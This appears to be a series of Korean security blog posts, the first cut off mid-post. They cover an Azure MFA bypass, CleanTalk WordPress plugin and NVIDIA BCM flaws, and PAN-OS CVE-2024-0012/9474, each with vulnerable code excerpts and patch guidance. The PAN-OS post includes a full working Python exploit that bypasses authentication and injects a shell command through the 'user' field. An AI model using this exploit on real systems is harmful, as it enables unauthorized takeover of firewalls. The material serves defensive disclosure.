* 공격자의 입장에서 세션을 24개 생성해 연속적으로 공격을 수행할 경우 70분의 시간을 확보하는 것
* 70분이 지나면 유효한 코드를 입력할 확률이 이미 50%를 넘어감

[사진 1] 70분 후 공격 성공확률 50% 이상

[영상 1] 공격 시연 영상 [2]

- 연구원들은 결과를 MS에 제보
> MS는 취약점을 수정한 버전 배포

권고 사항 구분 설명
다중인증 활성화 - 완벽한 안전을 보장하는 기술이 아니지만, 계정 보호에 필수적인 방법
-  다중인증을 사용하여도 100% 안전하지 않으며, 꾸준히 관리해야 함
크리덴셜 유출 모니터링 비밀번호나 인증 코드 유출 여부를 꾸준히 모니터링
다중인증 실패에 대한 경고 발생 로그인에 실패했을 때 사용자에게 알림이 가도록 설정

3. 참고

[1] https://www.oasis.security/resources/blog/oasis-security-research-team-discovers-microsoft-azure-mfa-bypass
[2] https://www.youtube.com/watch?v=E0Kt6LUZc0w
[3] https://www.boannews.com/media/view.asp?idx=135110

1. CleanTalk 플러그인 [1]

- 워드프레스 웹사이트에서 스팸을 방지하기 위해 사용되는 플러그인
- 스팸 방지 기능을 제공하는 클라우드 기반 서비스

2. 주요내용 [2]

2.1 CVE-2024-10542

[사진 1] CVE-2024-10542 [3]

- WordPress CleanTalk 플러그인에서 발생하는 DNS 스푸핑을 통한 인증 우회 취약점 (CVSS: 9.8)
> 악용에 성공할 경우 인증되지 않은 공격자가 임의의 플러그인을 설치 및 활성화하여 원격 코드를 실행할 수 있음

영향받는 버전
- Spam protection, Anti-Spam, FireWall by CleanTalk <= 6.43.2

 

- 아래 함수는 토큰을 저장된 API 비교 또는 checkWithoutToken()를 통해 토큰 없이도 작업을 수행할 수 있는지 확인

78 |  // Check Access key
79 | if (
80 |     ($token === strtolower(md5($apbct->api_key)) ||
81 |      $token === strtolower(hash('sha256', $apbct->api_key))) ||
82 |    self::checkWithoutToken()
83 | ) {
84 |     // Flag to let plugin know that Remote Call is running.
85 |     $apbct->rc_running = true;
86 |  
87 |   $action = 'action__' . $action;
88 | 
89 |   if ( method_exists(__CLASS__, $action) ) {

 

checkWithoutToken()는 발신 IP가 cleantalk.org 에 속하는지 확인
IP사용자 정의 매개 변수인 X-Central-Ip 및 X-Forward-By 헤더 매개 변수로 결정되므로, IP 스푸핑에 취약
> IP 확인 후 strpos()를 사용해 도메인 이름을 확인하는데, 도메인에 'cleantalk.org' 문자열이 포함된 경우 검사를 통과할 수 있어, DNS 스푸핑에 취약

34 | public static function checkWithoutToken()
35 | {
36 |    global $apbct;
37 | 
38 |    $is_noc_request = ! $apbct->key_is_ok &&
39 |        Request::get('spbc_remote_call_action') &&
40 |        in_array(Request::get('plugin_name'), array('antispam', 'anti-spam', 'apbct')) &&
41 |        strpos(Helper::ipResolve(Helper::ipGet()), 'cleantalk.org') !== false;

 

2.2 CVE-2024-10781

[사진 2] CVE-2024-10781 [4]

- WordPress CleanTalk 플러그인에서 ‘api_key’ 값 검증 누락으로 인해 발생하는 인증 우회 취약점 (CVSS: 8.1)
> 악용에 성공할 경우 인증되지 않은 공격자가 임의의 플러그인을 설치 및 활성화할 수 있음

영향받는 버전
- Spam protection, Anti-Spam, FireWall by CleanTalk <= 6.44

 

- API 키와 해시를 비교하여 토큰을 인증하는 방법이 존재
> 그러나 해당 함수에 API 키가 비어 있을 때 인증을 방지하기 위한 검증이 없음
> API 키가 플러그인에 구성되어 있지 않으면 비어 있는 해시 값과 일치하는 토큰을 사용해 인증을 우회할 수 있음

76 | $token  = strtolower(Request::get('spbc_remote_call_token'));
...
93 | // Check Access key
94 | if (
95 |    ($token === strtolower(md5($apbct->api_key)) ||
96 |     $token === strtolower(hash('sha256', $apbct->api_key))) ||
97 |    (self::checkWithoutToken() && self::isAllowedWithoutToken($action))
98 | ) {

3. 대응방안

- 벤더사 제공 업데이트 적용 [5][6]

> 두 취약점이 모두 해결된 6.45 버전으로 업데이트 권고

제품명 취약점 영향받는 버전 해결 버전
Spam protection, Anti-Spam, FireWall by CleanTalk CVE-2024-10542 <= 6.43.2 6.44
CVE-2024-10781 <= 6.44 6.45

4. 참고

[1] https://cleantalk.org/
[2] https://www.wordfence.com/blog/2024/11/200000-wordpress-sites-affected-by-unauthenticated-critical-vulnerabilities-in-anti-spam-by-cleantalk-wordpress-plugin/
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-10542
[4] https://nvd.nist.gov/vuln/detail/CVE-2024-10781
[5] https://wordpress.org/plugins/cleantalk-spam-protect/#developers
[6] https://asec.ahnlab.com/ko/84781/
[7] https://thehackernews.com/2024/11/critical-wordpress-anti-spam-plugin.html
[8] https://www.securityweek.com/critical-vulnerabilities-found-in-anti-spam-plugin-used-by-200000-wordpress-sites/
[9] https://www.boannews.com/media/view.asp?idx=134689&page=2&kind=1

1. NVIDIA Base Command Manager (NVIDIA BCM) [1]

- AI(인공지능)와 HPC(High Performance Computing, 고성능 컴퓨팅)을 위한 클러스터 관리 소프트웨어
- 멀티 클라우드 및 온프레미스 환경 지원

※ 클러스터(Cluster) : 여러 대의 컴퓨터가 서로 연결되어 하나의 시스템처럼 작동하도록 구성한 컴퓨팅 환경

 

2. CVE-2024-0138

[사진 1] CVE-2024-0138 [2]

- NVIDIA BCM 구성요소인 CMDaemon의 인증 누락 취약점 (CVSS : 9.8)
> CMDaemon : CPU나 네트워크 등 클러스터의 구성요소 간 통신을 지원하고, 작업이 원활하게 실행되도록 돕는 프로세스 [3]
익스플로잇에 성공할 경우 코드 실행, 서비스 거부, 권한 상승, 정보 유출, 데이터 변조가 가능

영향받는버전
NVIDIA Base Command Manager 10.24.09

 

- 누구나 인증 없이 시스템에 접근할 수 있는 취약점으로 신속한 업데이트 권고 [4][5]

제품명 영향받는 버전 해결 버전
NVIDIA Base Command Manager 10.24.09 10.24.09a

3. 참고

[1] https://docs.nvidia.com/base-command-manager/index.html
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-0138
[3] https://docs.nvidia.com/dgx-superpod/administration-guide-dgx-superpod/latest/cluster-management-daemon.html#cluster-management-daemon
[4] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71594&menuNo=205020
[5] https://nvidia.custhelp.com/app/answers/detail/a_id/5595
[6] https://github.com/advisories/GHSA-626w-372f-948x
[7] https://www.boannews.com/media/view.asp?idx=134648&page=1&kind=1

1. PAN-OS

- Palo Alto Networks 사에서 판매하는 장비들에 탑재되어 있는 운영체제

2. 주요내용 [1]

2.1 CVE-2024-0012 [2]

[사진 1] CVE-2024-0012

- Palo Alto Networks PAN-OS에 존재하는 인증 우회 취약점 (CVSS : 9.3)

> 공격자가 인증이나 사용자 상호작용 없이 관리자 권한을 얻을 수 있으며, 방화벽 설정에 무단 접근 및 제어가 가능
CVE-2024-9474와 연계하여 공격이 진행 중

영향받는 버전
- PAN-OS 11.2.4-h1 버전 미만
- PAN-OS 11.1.5-h1 버전 미만
- PAN-OS 11.0.6-h1 버전 미만
- PAN-OS 10.2.12-h2 버전 미만

 

- 취약점은 uiEnvSetup.php 스크립트에서 발생

> 스크립트는 HTTP 헤더 HTTP_X_PAN_AUTHCHECK가 "on" 또는 "off"인지 확인
> "on"으로 설정된 경우 스크립트는 사용자를 로그인 페이지로 리다이렉션
> 헤더가 기본 구성(/etc/nginx/conf/proxy_default.conf 파일)에서 "on"으로 설정되어 있으나, 이를 "off"로 변경하여 인증을 우회할 수 있음

if (
    $_SERVER['HTTP_X_PAN_AUTHCHECK'] != 'off'
    && $_SERVER['PHP_SELF'] !== '/CA/ocsp'
    &&  $_SERVER['PHP_SELF'] !== '/php/login.php'
    && stristr($_SERVER['REMOTE_HOST'], '127.0.0.1') === false
) {
    $_SERVER['PAN_SESSION_READONLY'] = true;
    $ws = WebSession::getInstance($ioc);
    $ws->start();
    $ws->close();
    // these are horrible hacks.
    // This whole code should be removed and only make available to a few pages: main, debug, etc.
    if (
        !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/panorama_webui/php/api/index.php')
        && !Str::startsWith($_SERVER['PHP_SELF'], '/php-packages/firewall_webui/php/api/index.php')
    ) {
        if (Backend::quickSessionExpiredCheck()) {
            if (isset($_SERVER['QUERY_STRING'])) {
                Util::login($_SERVER['QUERY_STRING']);
            } else {
                Util::login();
            }
            exit(1);
        }
    }
}

 

[사진 2] HTTP_X_PAN_AUTHCHECK: off 및 200 OK

2.2 CVE-2024-9474 [3]

[사진 3] CVE-2024-9474

- Palo Alto Networks PAN-OS에 존재하는 권한 상승 취약점

영향받는 버전
- PAN-OS 11.2.4-h1 버전 미만
- PAN-OS 11.1.5-h1 버전 미만
- PAN-OS 11.0.6-h1 버전 미만
- PAN-OS 10.2.12-h2 버전 미만
- PAN-OS 10.1.14-h6 버전 미만

 

- 취약점은 createRemoteAppwebSession.php 스크립트에서 발생

> 해당 스크립트를 사용하면 공격자는 임의의 사용자를 만들고, PHPSESSID(인증 토큰)를 할당받을 수 있음
할당받은 인증 토큰을 이용해 악성 명령 실행 가능

[사진 3] PHPSESSID 획득

2.3 PoC [4]

- X-PAN-AUTHCHECK 헤더를 off로 설정하여 인증 우회

- createRemoteAppwebSession.php를 이용해 PHPSESSID 획득

#POC is written by Chirag Artani
import requests
import argparse
from urllib.parse import urljoin
import logging
import urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def setup_logging():
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(levelname)s - %(message)s'
    )

class VulnChecker:
    def __init__(self, base_url, verify_ssl=False, timeout=30):
        self.base_url = base_url
        self.verify_ssl = verify_ssl
        self.timeout = timeout
        self.session = requests.Session()
        
        if not verify_ssl:
            urllib3.disable_warnings(InsecureRequestWarning)
            self.session.verify = False
    
    def make_request(self, method, endpoint, **kwargs):
        try:
            url = urljoin(self.base_url, endpoint)
            kwargs['timeout'] = self.timeout
            kwargs['verify'] = self.verify_ssl
            
            response = self.session.request(method, url, **kwargs)
            response.raise_for_status()
            return response
            
        except requests.exceptions.SSLError as e:
            logging.error(f"SSL Error: {str(e)}")
            logging.info("Try using --no-verify if the target uses self-signed certificates")
            return None
        except requests.exceptions.RequestException as e:
            logging.error(f"Request failed: {str(e)}")
            return None

    def create_initial_session(self):
        """Create initial session with command injection payload"""
        headers = {
            'X-PAN-AUTHCHECK': 'off',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        
        # Command injection payload to write system info to file
        data = {
            'user': '`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`',
            'userRole': 'superuser',
            'remoteHost': '',
            'vsys': 'vsys1'
        }
        
        response = self.make_request(
            'POST',
            '/php/utils/createRemoteAppwebSession.php/watchTowr.js.map',
            headers=headers,
            data=data
        )
        
        if response and 'PHPSESSID' in response.cookies:
            phpsessid = response.cookies['PHPSESSID']
            logging.info(f"Initial session created: {phpsessid}")
            return phpsessid
        return None

    def trigger_execution(self, phpsessid):
        """Trigger command execution via index page"""
        headers = {
            'Cookie': f'PHPSESSID={phpsessid}',
            'X-PAN-AUTHCHECK': 'off',
            'Connection': 'keep-alive'
        }
        
        response = self.make_request(
            'GET',
            '/index.php/.js.map',
            headers=headers
        )
        
        if response:
            logging.info(f"Trigger response status: {response.status_code}")
            if response.text:
                logging.info(f"Response content length: {len(response.text)}")
            return True
        return False

    def verify_execution(self):
        """Verify command execution by checking created file"""
        response = self.make_request(
            'GET',
            '/unauth/watchTowr.php'
        )
        
        if response and response.status_code == 200:
            logging.info("Command execution verified")
            if response.text:
                logging.info(f"System info: {response.text.strip()}")
            return True
        return False

def main():
    parser = argparse.ArgumentParser(description='Vulnerability Check Script')
    parser.add_argument('--url', required=True, help='Target base URL (http:// or https://)')
    parser.add_argument('--no-verify', action='store_true', help='Disable SSL verification')
    parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds')
    args = parser.parse_args()
    
    setup_logging()
    logging.info(f"Starting vulnerability check against {args.url}")
    
    checker = VulnChecker(
        args.url,
        verify_ssl=not args.no_verify,
        timeout=args.timeout
    )
    
    # Step 1: Create session with command injection payload
    phpsessid = checker.create_initial_session()
    if not phpsessid:
        logging.error("Session creation failed")
        return
    
    # Step 2: Trigger command execution
    if checker.trigger_execution(phpsessid):
        logging.info("Command execution triggered successfully")
        
        # Step 3: Verify the result
        if checker.verify_execution():
            logging.info("Verification completed successfully")
        else:
            logging.error("Verification failed - file not created or accessible")
    else:
        logging.error("Command execution trigger failed")

if __name__ == "__main__":
    main()

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [5][6]

제품명 취약점 영향받는 버전 해결 버전
PAN-OS CVE-2024-0012 PAN-OS 11.2.4-h1 버전 미만 PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만 PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만 PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만 PAN-OS 10.2.12-h2 및 이후 버전
CVE-2024-9474 PAN-OS 11.2.4-h1 버전 미만 PAN-OS 11.2.4-h1 및 이후 버전
PAN-OS 11.1.5-h1 버전 미만 PAN-OS 11.1.5-h1 및 이후 버전
PAN-OS 11.0.6-h1 버전 미만 PAN-OS 11.0.6-h1 및 이후 버전
PAN-OS 10.2.12-h2 버전 미만 PAN-OS 10.2.12-h2 및 이후 버전
PAN-OS 10.1.14-h6 버전 미만 PAN-OS 10.1.14-h6 및 이후 버전

 

- 권고 사항

① 접근 제한 : 관리 인터페이스에 대한 접근을 신뢰할 수 있는 내부 네트워크로 제한 및 다중 인증(MFA)을 구현

> 특정 IP 주소로만 접속이 가능하게 하면 CVSS 9.3에서 7.5로 감소

② 시스템 모니터링: 의심스러운 활동을 실시간으로 감지하고 대응하기 위한 지속적인 모니터링

③ 관리자 교육: 시스템 관리자들이 최신 보안 권고 사항을 숙지하고, 신속한 업데이트의 중요성을 이해하도록 교육

4. 참고

[1] https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-0012
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-9474
[4] https://github.com/Sachinart/CVE-2024-0012-POC
[5] https://security.paloaltonetworks.com/CVE-2024-0012
[6] https://security.paloaltonetworks.com/CVE-2024-9474
[7] https://www.picussecurity.com/resource/blog/palo-alto-cve-2024-0012-and-cve-2024-9474-vulnerabilities-explained
[8] https://www.boannews.com/media/view.asp?idx=134400&page=9&kind=1
[9] https://www.boannews.com/media/view.asp?idx=134571&page=1&kind=1
[10] https://www.dailysecu.com/news/articleView.html?idxno=161318
[11] https://www.dailysecu.com/news/articleView.html?idxno=161409

+ Recent posts